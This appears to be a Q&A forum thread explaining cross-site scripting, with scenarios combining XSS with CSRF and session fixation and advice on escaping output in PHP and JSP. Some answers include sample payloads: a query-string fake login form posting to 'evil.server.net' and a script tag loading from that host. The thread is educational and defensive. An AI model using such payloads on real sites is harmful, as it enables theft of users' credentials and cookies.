What is the general concept behind XSS?

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which enable malicious attackers to inject client-side script into web pages viewed by other users. An exploited cross-site scripting vulnerability can be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites were roughly 80% of all security vulnerabilities documented by Symantec as of 2007.

Okay so does this mean that a hacker crafts some malicious JS/VBscript and delivers it to the unsuspecting victim when visiting a legitimate site which has unescaped inputs?

I mean, I know how SQL injection is done....

I particularly don't understand how JS/VBscript can cause so much damage! I thoguht they are only run within browsers, but apparently the damage ranges from keylogging to cookie stealing and trojans.

Is my understanding of XSS correct? if not, can someone clarify?

How can I prevent XSS from happening on my websites? This seems important; 80% of security vulnerabilities means that it's an extremely common method to compromise computers.

As the answers on how XSS can be malicious are already given, I'll only answer the following question left unanswered:

how can i prevent XSS from happening on my websites ?

As to preventing from XSS, you need to HTML-escape any user-controlled input when they're about to be redisplayed on the page. This includes request headers, request parameters and any stored user-controlled input which is to be served from a database. Especially the <, >, " and ' needs to be escaped, because it can malform the surrounding HTML code where this input is been redisplayed.

Almost any view technolgy provides builtin ways to escape HTML (or XML, that's also sufficient) entities.

In PHP you can do that with htmlspecialchars(). E.g.

<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">

If you need to escape singlequotes with this as well, you'll need to supply the ENT_QUOTES argument, also see the aforelinked PHP documentation.

In JSP you can do that with JSTL <c:out> or fn:escapeXml(). E.g.

<input name="foo" value="<c:out value="${param.foo}" />">

or

<input name="foo" value="${fn:escapeXml(param.foo)}">

Note that you actually don't need to escape XSS during request processing, but only during response processing. Escaping during request processing is not needed and it may malform the user input sooner or later (and as being a site admin you'd also like to know what the user in question has actually entered so that you can take social actions if necessary). With regard to SQL injections, just only escape it during request processing at the moment when the data is about to be persisted in the database.

Straight forward XSS

1. I find Google has an XSS vulnerability.
2. I write a script that rewrites a public Google page to look exactly like the actual Google login.
3. My fake page submits to a third party server, and then redirects back to the real page.
4. I get google account passwords, users don't realize what happened, Google doesn't know what happened.

XSS as a platform for CSRF (this supposedly actually happened)

1. Amazon has a CSRF vulnerability where a "always keep me logged in" cookie allows you to flag an entry as offensive.
2. I find an XSS vulnerability on a high traffic site.
3. I write a JavaScript that hits up the URLs to mark all books written by gay/lesbian authors on Amazon as offensive.
4. To Amazon, they are getting valid requests from real browsers with real auth cookies. All the books disappear off the site overnight.
5. The internet freaks the hell out.

XSS as a platform for Session Fixation attacks

1. I find an e-commerce site that does not reset their session after a login (like any ASP.NET site), have the ability to pass session id in via query string or via cookie, and stores auth info in the session (pretty common).
2. I find an XSS vulnerability on a page on that site.
3. I write a script that sets the session ID to the one I control.
4. Someone hits that page, and is bumped into my session.
5. They log in.
6. I now have the ability to do anything I want as them, including buying products with saved cards.

Those three are the big ones. The problem with XSS, CSRF, and Session Fixation attacks are that they are very, very hard to track down and fix, and are really simple to allow, especially if a developer doesn't know much about them.

i dont get how JS/VBscript can cause so much damage!

Ok. suppose you have a site, and the site is served from http://trusted.server.com/thesite. Let's say this site has a search box, and when you search the url becomes: http://trusted.server.com/thesite?query=somesearchstring.

If the site decides to not process the search string and outputs it in the result, like "You search "somesearchstring" didn't yield any results, then anybody can inject arbitrary html into the site. For example:

http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input  name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>

So, in this case, the site will dutifully show a fake login form on the search results page, and if the user submits it, it will send the data to the evil untrusted server. But the user doesn't see that, esp. if the url is really long they will just see the first but, and assume they are dealing with trusted.server.com.

Variations to this include injecting a <script> tag that adds event handlers to the document to track the user's actions, or send the document cookie to the evil server. This way you can hope to bump into sensitive data like login, password, or credit card data. Or you can try to insert a specially styled <iframe> that occupies the entire client window and serves a site that looks like the original but actually originates from evil.server.com. As long as the user is tricked into using the injected content instead of the original, the security's comprompised.

This type of XSS is called reflective and non-persistent. Reflective because the url is "relected" directly in the response, and non-persistent because the actual site is not changed - it just serves as a pass through. Note that something like https offers no protection whatsoever here - the site itself is broken, because it parrots the user input via the query string.

The trick is now to get unsuspecting users to trust any links you give them. For example, you can send them a HTML email and include an attractive looking link which points to the forged url. Or you can perhaps spread it on wikis, forums etc. I am sure you can appreciate how easy it really is - it's just a link, what could go wrong, right?

Sometimes it can be worse. Some sites actually store user-supplied content. Simple example: comments on a blog or threads on a forum. Or it may be more subtle: a user profile page on a social network. If those pages allow arbitrary html, esp. script, and this user-supplied html is stored and reproduced, then everybody that simply visits the page that contains this content is at risk. This is persistent XSS. Now users don't even need to click a link anymore, just visiting is enough. Again the actual attack consists of modifying the page through script in order to capture user data.

Script injection can be blunt, for example, one can insert a complete <script src="http://evil.server.net/script.js"> or it may be subtle: <img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>.

As for how to protect yourself: the key is to never output user input. This may be difficult if your site revolves around user-supplied content with markup.

Imagine a web forum. An XSS attack could be that I make a post with some javascript. When you browse to the page, your webpage will load and run the js and do what I say. As you have browsed to the page and most likely are logged in, my javascript will do anything you have privileges to do, such as make a post, delete your posts, insert spam, show a popup etc.

So the real concept with XSS is the script executes in your user context, which is a privilege escalation. You need to be careful that anywhere in your app that receives user input escapes any scripts etc. inside it to ensure that an XSS can't be done.

You have to watch out for secondary attacks. Imagine if I put malicious script into my username. That might go into the website unchecked, and then written back out unchecked but then any page that is viewed with my username on it would actually execute malicious script in your user context.

Escape user input. Don't roll your on code to do this. Check everything going in, and everything coming out.

The XSS attacks' issues are more fishing related. The problem is that a site that a customer trusts might be injected with code that leads to site made by the attacker for certain purpose. Stealing sensitive information, for example.

So, in XSS attacks the intruded do not get into your database and don't mess with it. He is playing with the sense in the customer that this site is safe and every link on it is pointing to a safe location.

This is just the first step of the real attack - to bring the customer in the hostile environment.

I can give you a brief example. If a bank institution puts a shoutbox on their page, for example and they do not prevent me from XSS attack, I can shout "Hey come on this link and enter you passwords and credit card No for a security check!" ... And you know where this link will lead to, right ?

You can prevent the XSS attacks by make sure you don't display anything on your page, that is coming from users' input without escaping html tags. The special characters should be escaped, so that they don't interfere with the markup of your html pages (or whatever technology you use). There are lot of libraries that provide this, including Microsoft AntiXSS library.